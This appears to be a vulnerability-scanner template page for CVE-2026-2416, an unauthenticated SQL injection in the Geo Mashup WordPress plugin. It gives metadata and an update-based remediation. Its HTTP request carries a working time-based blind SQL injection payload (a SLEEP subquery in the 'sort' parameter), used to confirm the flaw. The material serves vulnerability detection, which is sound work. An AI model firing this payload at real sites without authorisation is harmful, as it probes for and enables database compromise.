Geo Mashup <= 1.13.17 - SQL Injection
CVE-2026-2416
Verified
Description
Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.
Severity
High
CVSS Score
7.5
Exploit Probability
16%
Published Date
March 18, 2026
Template Author
shivam kamboj
CVE-2026-2416.yaml
id: CVE-2026-2416
info:
name: Geo Mashup <= 1.13.17 - SQL Injection
author: Shivam Kamboj
severity: high
description: |
Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.
impact: |
Unauthenticated attackers can extract sensitive database information, leading to data disclosure and potential further compromise.
remediation:
Update to the latest version beyond 1.13.17.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/geo-mashup/geo-mashup-11317-unauthenticated-sql-injection-via-sort-parameter
- https://nvd.nist.gov/vuln/detail/CVE-2026-2416
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-2416
epss-score: 0.15896
epss-percentile: 0.94838
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- compare_versions(version, '<= 1.13.17')
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
@timeout: 30s
GET /wp-admin/admin-ajax.php?action=geo_mashup_query&output=json&sort=(SELECT(0)FROM(SELECT(SLEEP(8)))a) HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 200'
- 'contains(body, "objects")'
- 'contains(content_type, "application/json")'
condition: and
# digest: 4b0a00483046022100d95bc96086045f0db2801517b3899790d90d1c9a65c25d1281bc3b089e74742b022100d0010b4d6835b25b7195f2d8437ba0041071dec8faaa25fe12ed8b8053f5647c:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-2416
CWE ID:
cwe-89
Remediation Steps
Update to the latest version beyond 1.13.17.